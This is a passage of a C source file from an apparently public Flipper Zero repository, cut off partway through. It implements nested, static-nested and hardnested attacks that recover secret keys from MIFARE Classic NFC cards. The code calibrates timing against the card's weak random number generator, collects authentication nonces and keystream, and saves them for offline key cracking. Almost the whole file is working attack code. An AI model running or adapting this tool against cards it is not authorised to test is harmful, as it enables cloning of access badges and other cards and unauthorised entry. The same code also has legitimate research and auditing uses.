-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathmifare_nested_worker.c
1713 lines (1351 loc) · 59.6 KB
/
mifare_nested_worker.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include "mifare_nested_worker_i.h"
#include "lib/nested/nested.h"
#include "lib/parity/parity.h"
#include <lib/nfc/protocols/nfc_util.h>
#include <storage/storage.h>
#include <stream/stream.h>
#include <stream/file_stream.h>
#include "string.h"
#include <furi.h>
#include <furi_hal.h>
#define TAG "MifareNestedWorker"
// possible sum property values
static uint16_t sums[] =
{0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
void mifare_nested_worker_change_state(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state) {
furi_assert(mifare_nested_worker);
mifare_nested_worker->state = state;
}
MifareNestedWorker* mifare_nested_worker_alloc() {
MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
// Worker thread attributes
mifare_nested_worker->thread = furi_thread_alloc_ex(
"MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
mifare_nested_worker->callback = NULL;
mifare_nested_worker->context = NULL;
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
return mifare_nested_worker;
}
void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
furi_assert(mifare_nested_worker);
furi_thread_free(mifare_nested_worker->thread);
free(mifare_nested_worker);
}
void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
furi_assert(mifare_nested_worker);
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
furi_thread_join(mifare_nested_worker->thread);
}
void mifare_nested_worker_start(
MifareNestedWorker* mifare_nested_worker,
MifareNestedWorkerState state,
NfcDeviceData* dev_data,
MifareNestedWorkerCallback callback,
void* context) {
furi_assert(mifare_nested_worker);
furi_assert(dev_data);
mifare_nested_worker->callback = callback;
mifare_nested_worker->context = context;
mifare_nested_worker->dev_data = dev_data;
mifare_nested_worker_change_state(mifare_nested_worker, state);
furi_thread_start(mifare_nested_worker->thread);
}
int32_t mifare_nested_worker_task(void* context) {
MifareNestedWorker* mifare_nested_worker = context;
if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
mifare_nested_worker_check(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
mifare_nested_worker_collect_nonces(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
} else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
mifare_nested_worker_check_keys(mifare_nested_worker);
}
mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
return 0;
}
void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
uint8_t* uid = data->uid;
uint8_t uid_len = data->uid_len;
for(size_t i = 0; i < uid_len; i++) {
uint8_t uid_part = uid[i];
furi_string_cat_printf(string, "%02X", uid_part);
}
}
void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".keys");
}
void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".nonces");
}
void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
furi_string_cat_printf(file_path, ".keys");
}
void mifare_nested_worker_get_hardnested_folder_path(
FuriHalNfcDevData* data,
FuriString* file_path) {
furi_string_set(file_path, NESTED_FOLDER "/");
mifare_nested_worker_write_uid_string(data, file_path);
}
void mifare_nested_worker_get_hardnested_file_path(
FuriHalNfcDevData* data,
FuriString* file_path,
uint8_t sector,
uint8_t key_type) {
mifare_nested_worker_get_hardnested_folder_path(data, file_path);
furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
}
uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
furi_assert(sector < 40);
if(sector < 32) {
return (sector * 4) + 3;
} else {
return 32 * 4 + (sector - 32) * 16 + 15;
}
}
static MfClassicSectorTrailer*
mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
.value;
}
bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
Storage* storage = furi_record_open(RECORD_STORAGE);
FuriString* temp_str = furi_string_alloc();
mifare_nested_worker_get_key_cache_file_path(data, temp_str);
FlipperFormat* file = flipper_format_file_alloc(storage);
bool load_success = false;
uint32_t sector_count = 0;
do {
if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
uint32_t version = 0;
if(!flipper_format_read_header(file, temp_str, &version)) break;
if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
if(version != 1) break;
if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
if(!furi_string_cmp(temp_str, "1K")) {
mf_data->type = MfClassicType1k;
sector_count = 16;
} else if(!furi_string_cmp(temp_str, "4K")) {
mf_data->type = MfClassicType4k;
sector_count = 40;
} else if(!furi_string_cmp(temp_str, "MINI")) {
mf_data->type = MfClassicTypeMini;
sector_count = 5;
} else {
break;
}
if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
bool key_read_success = true;
for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
MfClassicSectorTrailer* sec_tr =
mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
if(FURI_BIT(mf_data->key_a_mask, i)) {
furi_string_printf(temp_str, "Key A sector %d", i);
key_read_success = flipper_format_read_hex(
file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
}
if(!key_read_success) break;
if(FURI_BIT(mf_data->key_b_mask, i)) {
furi_string_printf(temp_str, "Key B sector %d", i);
key_read_success = flipper_format_read_hex(
file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
}
}
load_success = key_read_success;
} while(false);
furi_string_free(temp_str);
flipper_format_free(file);
return load_success;
}
bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
if(c <= '9') {
*nibble = c - '0';
} else if(c <= 'F') {
*nibble = c - 'A' + 10;
} else {
*nibble = c - 'a' + 10;
}
return true;
} else {
return false;
}
}
bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
uint8_t hi_nibble_value, low_nibble_value;
if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
hex_char_to_hex_nibble(low, &low_nibble_value)) {
*value = (hi_nibble_value << 4) | low_nibble_value;
return true;
} else {
return false;
}
}
void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
free(nonces->nonces[sector][key_type][tries]);
}
}
}
}
MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
UNUSED(ATQA1);
if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
if((SAK == 0x08 || SAK == 0x88)) {
return MfClassicType1k;
} else if(SAK == 0x09) {
return MfClassicTypeMini;
}
} else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
//skylanders support
return MfClassicType1k;
} else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
return MfClassicType4k;
}
return MfClassicType1k;
}
uint32_t mifare_nested_worker_predict_delay(
FuriHalNfcTxRxContext* tx_rx,
uint8_t blockNo,
uint8_t keyType,
uint64_t ui64Key,
uint32_t tries,
MifareNestedWorker* mifare_nested_worker) {
uint32_t cuid = 0;
Crypto1* crypto = malloc(sizeof(Crypto1));
uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
if(tries > 25) {
free(crypto);
return 2; // Too many tries, fallback to hardnested
}
// This part of attack is my attempt to implement it on Flipper.
// Check README.md for more info
// First, we find RPNG rounds per 1000 us
for(uint32_t rtr = 0; rtr < 25; rtr++) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
free(crypto);
return 1;
}
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(rtr * 1000);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// Searching for delay, where PRNG will be near 800
uint32_t nttmp = prng_successor(nt1, 100);
for(i = 101; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(!rtr) {
zero_prng_value = i;
}
if(previous && i > previous && i != 65565) {
if(!prng_delay) {
prng_delay = i - previous;
} else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
prng_delay += i - previous;
prng_delay /= 2;
}
}
previous = i;
FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
// Let's hope...
if(i > 810 && i < 840) {
free(crypto);
return rtr * 1000;
}
}
FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
// Next, we try to calculate time until PRNG near 800 with more perfect timing
// Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
if(zero_prng_value == 65565) {
free(crypto);
// PRNG isn't pretictable
return 1;
}
uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
uint32_t limit = 7;
for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
for(uint32_t rtz = 0; rtz < 100; rtz++) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
free(crypto);
return 1;
}
nfc_activate();
if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
uint32_t delay = rtr * 1000 + rtz * 10;
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
furi_delay_us(delay);
mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
// Searching for delay, where PRNG will be near 800
uint32_t nttmp = prng_successor(nt1, 0);
for(i = 1; i < 65565; i++) {
nttmp = prng_successor(nttmp, 1);
if(nttmp == nt2) break;
}
if(!(i > previous - 50 && i < previous + 50) && rtz) {
repeat++;
if(repeat < 5) {
FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
continue;
}
}
if(i > 2000 && i < 65500) {
uint32_t catch_cycles = (65565 - i) / prng_delay;
if(catch_cycles > 2) {
catch_cycles++;
FURI_LOG_D(
TAG,
"Trying a more accurate value: skipping additional %lu us",
catch_cycles * 1000);
limit += catch_cycles + 2;
rtr += catch_cycles;
}
}
FURI_LOG_D(
TAG,
"Calibrating: ntdist=%lu, delay=%lu, max=%lu",
i,
delay,
(cycles_to_reset + limit) * 1000);
repeat = 0;
previous = i;
if(i > 810 && i < 840) {
free(crypto);
FURI_LOG_I(TAG, "Found delay: %lu us", delay);
return delay;
} else if(i > 840 && i < 40000) {
FURI_LOG_D(TAG, "Trying again: timing lost");
tries++;
free(crypto);
return mifare_nested_worker_predict_delay(
tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
}
}
}
if(i > 1000 && i < 65000) {
FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
tries++;
free(crypto);
return mifare_nested_worker_predict_delay(
tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
}
free(crypto);
return 1;
}
SaveNoncesResult_t* mifare_nested_worker_write_nonces(
FuriHalNfcDevData* data,
Storage* storage,
NonceList_t* nonces,
uint8_t tries_count,
uint8_t free_tries_count,
uint8_t sector_count,
uint32_t delay,
uint32_t distance) {
FuriString* path = furi_string_alloc();
Stream* file_stream = file_stream_alloc(storage);
SaveNoncesResult_t* result = malloc(sizeof(SaveNoncesResult_t));
result->saved = 0;
result->invalid = 0;
result->skipped = 0;
mifare_nested_worker_get_nonces_file_path(data, path);
file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
FuriString* header = furi_string_alloc_printf(
"Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
NESTED_NONCE_FORMAT_VERSION,
NESTED_RECOVER_KEYS_GITHUB_LINK);
stream_write_string(file_stream, header);
for(uint8_t tries = 0; tries < tries_count; tries++) {
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
if(nonces->nonces[sector][key_type][tries]->invalid) {
if(tries == 0) {
result->invalid++;
}
} else if(nonces->nonces[sector][key_type][tries]->skipped) {
if(tries == 0) {
result->skipped++;
}
} else if(nonces->nonces[sector][key_type][tries]->collected) {
if(nonces->nonces[sector][key_type][tries]->hardnested) {
FuriString* hardnested_path = furi_string_alloc();
mifare_nested_worker_get_hardnested_file_path(
data, hardnested_path, sector, key_type);
FuriString* str = furi_string_alloc_printf(
"HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
!key_type ? 'A' : 'B',
nonces->cuid,
furi_string_get_cstr(hardnested_path),
sector);
stream_write_string(file_stream, str);
furi_string_free(hardnested_path);
furi_string_free(str);
} else {
FuriString* str = furi_string_alloc_printf(
"Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
for(uint8_t type = 0; type < 2; type++) {
furi_string_cat_printf(
str,
" nt%u 0x%08lx ks%u 0x%08lx par%u ",
type,
nonces->nonces[sector][key_type][tries]->target_nt[type],
type,
nonces->nonces[sector][key_type][tries]->target_ks[type],
type);
uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
for(uint8_t i = 0; i < 4; i++) {
furi_string_cat_printf(str, "%u", par[i]);
}
}
furi_string_cat_printf(str, " sec %u\n", sector);
stream_write_string(file_stream, str);
furi_string_free(str);
}
result->saved++;
}
}
}
}
if(delay) {
FuriString* str =
furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
stream_write_string(file_stream, str);
furi_string_free(str);
}
free_nonces(nonces, sector_count, free_tries_count);
file_stream_close(file_stream);
free(file_stream);
if(!result->saved) {
FURI_LOG_E(TAG, "No nonces collected, removing file...");
if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
FURI_LOG_E(TAG, "Failed to remove .nonces file");
}
}
furi_string_free(path);
furi_record_close(RECORD_STORAGE);
return result;
}
bool mifare_nested_worker_check_initial_keys(
NonceList_t* nonces,
MfClassicData* mf_data,
uint8_t tries_count,
uint8_t sector_count,
uint64_t* key,
uint32_t* key_block,
uint32_t* found_key_type) {
bool has_a_key, has_b_key;
FuriHalNfcTxRxContext tx_rx = {};
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = malloc(sizeof(Nonces));
info->key_type = key_type;
info->block = mifare_nested_worker_get_block_by_sector(sector);
info->collected = false;
info->skipped = true;
info->from_start = false;
nonces->nonces[sector][key_type][tries] = info;
}
}
}
for(uint8_t sector = 0; sector < sector_count; sector++) {
MfClassicSectorTrailer* trailer =
mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
if(has_a_key) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = nonces->nonces[sector][0][tries];
info->collected = true;
info->skipped = true;
info->from_start = true;
nonces->nonces[sector][0][tries] = info;
}
if(*key_block == 0) {
uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
if(nested_check_key(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
NestedCheckKeyValid) {
*key = key_check;
*key_block = mifare_nested_worker_get_block_by_sector(sector);
*found_key_type = 0;
}
}
}
if(has_b_key) {
for(uint8_t tries = 0; tries < tries_count; tries++) {
Nonces* info = nonces->nonces[sector][1][tries];
info->collected = true;
info->skipped = true;
info->from_start = true;
nonces->nonces[sector][1][tries] = info;
}
if(*key_block == 0) {
uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
if(nested_check_key(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
NestedCheckKeyValid) {
*key = key_check;
*key_block = mifare_nested_worker_get_block_by_sector(sector);
*found_key_type = 1;
}
}
}
}
nonces->cuid = 0;
nonces->hardnested_states = 0;
nonces->sector_count = sector_count;
nonces->tries = tries_count;
return *key_block;
}
void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
FuriHalNfcTxRxContext tx_rx = {};
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriHalNfcDevData data = {};
MifareNestedNonceType type = MifareNestedNonceNoTag;
nested_get_data(&data);
if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
for(uint8_t sector = 0; sector < 40; sector++) {
if(FURI_BIT(mf_data->key_a_mask, sector) ||
FURI_BIT(mf_data->key_b_mask, sector)) {
type = nested_check_nonce_type(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector));
break;
}
}
if(type == MifareNestedNonceNoTag) {
type = nested_check_nonce_type(&tx_rx, 0);
}
} else {
type = nested_check_nonce_type(&tx_rx, 0);
}
if(type == MifareNestedNonceStatic) {
mifare_nested_worker->context->collecting_type =
MifareNestedWorkerStateCollectingStatic;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
} else if(type == MifareNestedNonceWeak) {
mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
} else if(type == MifareNestedNonceHard) {
mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
mifare_nested_worker->callback(
MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
break;
}
furi_delay_ms(250);
}
nfc_deactivate();
}
void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
NonceList_t nonces;
Storage* storage = furi_record_open(RECORD_STORAGE);
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriString* folder_path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
uint64_t key = 0; // Found key for attack
uint32_t found_key_type = 0;
uint32_t key_block = 0;
uint32_t sector_count = 0;
FURI_LOG_I(TAG, "Running Static Nested attack");
FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
mifare_nested_worker_write_uid_string(&data, tag_info);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
furi_string_free(tag_info);
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
furi_string_set(folder_path, NESTED_FOLDER);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
furi_string_free(folder_path);
if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
!mifare_nested_worker_check_initial_keys(
&nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 1);
return;
}
FURI_LOG_I(
TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
FuriHalNfcTxRxContext tx_rx = {};
for(uint8_t sector = 0; sector < sector_count; sector++) {
for(uint8_t key_type = 0; key_type < 2; key_type++) {
Nonces* info = nonces.nonces[sector][key_type][0];
if(info->collected) {
FURI_LOG_I(
TAG,
"Skipping sector %u, block %u, key_type: %u as we already have a key",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->skipped = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
if(!nested_check_block(
&tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
FURI_LOG_E(
TAG,
"Skipping sector %u, block %u, key_type: %u as we can't auth on it",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info->invalid = true;
nonces.nonces[sector][key_type][0] = info;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
continue;
}
while(!info->collected) {
if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
break;
}
struct nonce_info_static result = nested_static_nonce_attack(
&tx_rx,
key_block,
found_key_type,
mifare_nested_worker_get_block_by_sector(sector),
key_type,
key);
if(result.full) {
FURI_LOG_I(
TAG,
"Accured nonces for sector %u, block %u, key_type: %u",
sector,
mifare_nested_worker_get_block_by_sector(sector),
key_type);
info = nonces.nonces[sector][key_type][0];
info->collected = true;
info->skipped = false;
memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
nonces.nonces[sector][key_type][0] = info;
nonces.cuid = result.cuid;
nonces.sector_count = sector_count;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(
MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
break;
} else {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
}
}
}
}
break;
}
SaveNoncesResult_t* result =
mifare_nested_worker_write_nonces(&data, storage, &nonces, 1, 1, sector_count, 0, 0);
free(mf_data);
if(result->saved) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
} else {
mifare_nested_worker->context->save_state = result;
mifare_nested_worker->callback(
MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
}
nfc_deactivate();
}
void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker) {
NonceList_t nonces;
Storage* storage = furi_record_open(RECORD_STORAGE);
NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
FuriString* folder_path = furi_string_alloc();
FuriHalNfcDevData data = {};
nested_get_data(&data);
MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
uint64_t key = 0; // Found key for attack
uint32_t found_key_type = 0;
uint32_t key_block = 0;
uint32_t sector_count = 0;
uint32_t cuid = 0;
furi_hal_nfc_activate_nfca(200, &cuid);
FURI_LOG_I(TAG, "Running Hard Nested attack");
FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
mifare_nested_worker_write_uid_string(&data, tag_info);
FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
furi_string_free(tag_info);
if(type == MfClassicType4k) {
sector_count = 40;
FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
} else if(type == MfClassicType1k) {
sector_count = 16;
FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
} else { // if(type == MfClassicTypeMini)
sector_count = 5;
FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
}
furi_string_set(folder_path, NESTED_FOLDER);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
mifare_nested_worker_get_hardnested_folder_path(&data, folder_path);
storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
furi_string_free(folder_path);
if(!mifare_nested_worker_read_key_cache(&data, mf_data) ||
!mifare_nested_worker_check_initial_keys(
&nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
mifare_nested_worker->callback(
MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
nfc_deactivate();
free(mf_data);
free_nonces(&nonces, sector_count, 1);
return;
}
FURI_LOG_I(
TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
FuriHalNfcTxRxContext tx_rx = {};
nonces.tries = 1;
nonces.hardnested_states = 0;
nonces.sector_count = sector_count;
mifare_nested_worker->context->nonces = &nonces;
mifare_nested_worker->callback(MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
mifare_nested_worker->callback(
MifareNestedWorkerEventHardnestedStatesFound, mifare_nested_worker->context);
for(uint8_t sector = 0; sector < sector_count &&
mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard;
sector++) {
for(uint8_t key_type = 0;
